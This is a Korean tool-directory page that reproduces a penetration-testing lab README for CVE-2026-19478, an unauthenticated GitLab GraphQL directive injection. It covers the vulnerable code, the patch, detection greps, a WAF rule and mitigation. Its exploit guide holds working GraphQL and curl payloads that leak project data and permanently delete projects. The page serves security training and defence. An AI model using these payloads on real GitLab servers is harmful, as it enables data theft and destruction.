Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gitlab-CVE-2026-19478 — CVE-2026-19478용 도커 기반 익스플로잇 랩 및 스크립트로, 임의의 Ruby 메서드 호출, 프로젝트 삭제 및 데이터 유출을 가능하게 하는 치명적인 비인증 GitLab GraphQL 코드 인젝션입니다. | Kitploit
도구/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & EducationLabs & Practice
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

CVE-2026-19478용 도커 기반 익스플로잇 랩 및 스크립트로, 임의의 Ruby 메서드 호출, 프로젝트 삭제 및 데이터 유출을 가능하게 하는 치명적인 비인증 GitLab GraphQL 코드 인젝션입니다.

저장소 보기
2일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-19478 — GitLab GraphQL @gl_introduced 디렉티브 주입

GitLab CE/EE GraphQL 디렉티브를 통한 인증 없는 원격 코드 주입 — 단일 HTTP 요청으로 모든 공개 프로젝트 삭제

CVE-2026-19478을 재현하는 실습형 침투 테스트 랩으로, GitLab GraphQL API의 치명적인(CVSS 9.4) 취약점입니다. @gl_introduced 디렉티브는 인증되지 않은 공격자가 인증 없이 서버 측 객체에 대해 임의의 Ruby 메서드를 실행할 수 있게 합니다 — 프로젝트 삭제, 데이터 유출, 소유권 이전을 포함합니다.

이 랩은 현실적인 익스플로잇 실습을 위해 Docker에서 실제 취약한 GitLab CE 19.2.0 인스턴스를 실행합니다.

목차

  • 취약점 요약
  • 익스플로잇 작동 방식
  • 공격 흐름 다이어그램
  • 랩 설정
  • 익스플로잇 가이드
  • 익스플로잇 스크립트 사용법
  • 탐지 및 침해 지표
  • 수정 및 완화
  • 참고 자료
  • 면책 조항
  • 문의하기

취약점 요약

도구 다운로드
필드값
CVE IDCVE-2026-19478
CVSS 점수9.4 (치명적)
제품GitLab Community Edition (CE) / Enterprise Edition (EE)
취약점 유형코드 주입 / 임의 메서드 실행 (CWE-94)
공격 경로네트워크 (원격)
인증필요 없음
사용자 상호 작용없음
공격 복잡도낮음
영향받는 버전18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
패치된 버전18.11.11, 19.0.8, 19.1.6, 19.2.4
발견자hiimguardian (HackerOne 경유)
패치 날짜2026년 8월 17일

영향

인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:

  • 모든 공개 프로젝트를 영구 삭제
  • 내부 데이터, 관리자 토큰 및 비밀값을 유출
  • 프로젝트 공개 범위, 소유권 및 설정을 변경
  • 서버 측 Project 모델에 대해 임의의 Ruby 메서드를 실행
  • 승인 없이 프로젝트를 보관 또는 이전

익스플로잇 작동 방식

@gl_introduced 디렉티브

GitLab은 롤링 배포를 지원하기 위해 커스텀 GraphQL 디렉티브 @gl_introduced(version: "X.Y")를 사용합니다. 최신 GitLab 버전이 GraphQL API에 새 필드를 추가하면, 구버전 인스턴스는 해당 새 필드를 참조하는 쿼리를 오류를 반환하는 대신 null을 반환하여 정상적으로 처리합니다.

취약한 코드 경로

파일: lib/gitlab/graphql/version_filter/future_field_fallback.rb (14-36행)

단계별 분석:

  1. FutureFieldFilter는 들어오는 GraphQL 쿼리를 스캔합니다. 필드에 현재 서버보다 최신 버전의 @gl_introduced(version)이 있으면 해당 필드를 제거하고 context[:contain_future_fields] = true를 설정합니다.

  2. IntroducedTracer는 실행 시점에 원래 쿼리 문서를 복원하여 제거된 필드를 AST에 다시 넣습니다.

  3. FutureFieldFallback#get_field는 실행 중 모든 필드 조회를 가로챕니다. 세 가지 조건을 확인합니다:

    • contain_future_fields 플래그가 설정되었는가? ✅
    • 필드가 스키마에 없는가? ✅
    • 이름이 __로 시작하지 않는가? ✅
    • 필드 이름이 안전한가? ❌ 확인 로직이 없습니다!
  4. 세 가지 확인이 모두 통과되면 resolver 클래스가 없는 새 GraphQL::Schema::Field를 합성합니다.

  5. graphql-ruby에서 resolver가 없는 필드는 기본 Ruby 객체에 대해 object.public_send(field_name)을 호출하여 해석됩니다 — 공격자의 필드 이름이 Project ActiveRecord 모델에 대한 임의의 메서드 호출로 변환되는 것입니다.

수정 사항 (19.2.4+)

GitLab의 패치는 암시적 메서드 디스패치를 무조건 nil을 반환하는 명시적 NilResolver로 대체하여, 임의 메서드 실행을 제거하면서 롤링 배포 호환성을 유지합니다:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

공격 흐름 다이어그램

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

랩 설정

사전 요구 사항

  • Docker 및 Docker Compose 설치
  • Docker에 사용 가능한 최소 4 GB RAM (GitLab은 리소스를 많이 사용합니다)
  • Python 3 (익스플로잇 스크립트용)
  • API 테스트용 웹 브라우저 또는 curl / httpie

빠른 시작 — 실제 GitLab CE 19.2.0 (취약 버전)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

접근 지점

서비스URL자격 증명
GitLab 웹 UIhttp://localhostroot / P@ssw0rd123!
GraphQL APIhttp://localhost/api/graphql필요 없음
GraphQL Explorerhttp://localhost/-/graphql-explorer로그인 필요
SSHlocalhost:2222—

경량 대안 (시뮬레이션)

리소스가 제한된 머신이거나 더 빠른 시작이 필요할 때:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

중지 / 전체 초기화

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

익스플로잇 가이드

레벨 1 — 정찰 (인증 없음)

서버 버전 확인:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

GraphQL을 통해 공개 프로젝트 열거 (인증 없음):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

스키마 인트로스펙션을 통해 @gl_introduced 디렉티브 발견:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

레벨 2 — 취약점 트리거

스키마에 존재하지 않는 필드에 미래 버전의 @gl_introduced를 사용합니다:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

취약하다면 class가 Ruby 클래스 이름("Project")을 반환하여 임의 메서드 디스패치를 확인할 수 있습니다.

레벨 3 — 데이터 유출

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

레벨 4 — 파괴적 익스플로잇

경고: 다음 작업은 프로젝트를 영구 삭제합니다.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

GitLab Project 모델에서 악용 가능한 기타 메서드:

메서드영향
destroy프로젝트를 영구 삭제합니다
archive프로젝트를 보관합니다
transfer프로젝트 소유권을 이전합니다
attributes모든 데이터베이스 속성을 덤프합니다
repository저장소 객체에 접근합니다
members프로젝트 구성원을 나열합니다

curl 예시

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

탐지 및 침해 지표

로그 분석

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

침해 지표 (IOC)

지표설명
@gl_introduced(version: "99.0")비현실적으로 높은 버전을 사용한 익스플로잇 시도
필드 이름: destroy, delete, update, transfer파괴적인 ActiveRecord 메서드를 노림
예기치 않은 프로젝트 삭제관리자 조치 없이 프로젝트가 사라짐
공개 범위 변경공개 프로젝트가 갑자기 비공개로 변경됨
소유권 이전프로젝트가 알 수 없는 사용자에게 이전됨

WAF 규칙

높은 버전 번호가 포함된 @gl_introduced가 있는 GraphQL 요청을 차단합니다:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

수정 및 완화

  1. 즉시 패치 — GitLab 18.11.11+, 19.0.8+, 19.1.6+ 또는 19.2.4+로 업데이트
  2. WAF 완화 — 리버스 프록시/WAF 수준에서 높은 버전 문자열이 포함된 @gl_introduced GraphQL 요청 차단
  3. 감사 로그 — 승인되지 않은 수정, 삭제 또는 공개 범위 변경이 있는지 프로젝트 활동 로그 검토
  4. 접근 로그 — 웹 서버 로그에서 익스플로잇 패턴 검색 (위 탐지 섹션 참조)
  5. 침해 대응 — 익스플로잇이 확인되면 데이터 유출 여부를 확인하고 백업에서 삭제된 프로젝트 복원


PoC 크레딧

CVE-2026-19478

참고 자료

  • GitLab 보안 권고 — 2026년 8월 17일
  • OWASP A03:2021 — 인젝션
  • CWE-94: 코드 생성의 부적절한 제어 (코드 주입)
  • OX Security: GitLab GraphQL CVE 분석
  • Help Net Security: 치명적인 GitLab 결함
  • CyCognito: 신규 위협 권고
  • The Hacker News: 치명적인 GitLab GraphQL 결함

면책 조항

이 랩은 승인된 보안 교육 및 침투 테스트 훈련 전용으로 제작되었습니다. 소유하거나 명시적 서면 승인을 받은 통제되고 격리된 환경에서만 사용해야 합니다.

적절한 승인 없이 이 랩의 기술, 도구 또는 익스플로잇 코드를 어떤 시스템에도 사용하지 마십시오. 컴퓨터 시스템에 대한 무단 접근은 미국 컴퓨터 사기 및 남용 방지법(CFAA) 및 전 세계의 동등한 법률에 따라 불법입니다.

저자와 기여자는 이 랩 또는 그 내용으로 인해 발생한 오용이나 손해에 대해 책임을 지지 않습니다.


문의하기

Follow on Instagram   Connect on LinkedIn

매일의 사이버 보안 팁, CVE 분석 및 익스플로잇 워크스루를 위해 Instagram에서 @pwnsystem을 팔로우하세요.
전문적인 보안 인사이트와 랩 업데이트를 위해 LinkedIn의 Punit Darji와 연결하세요.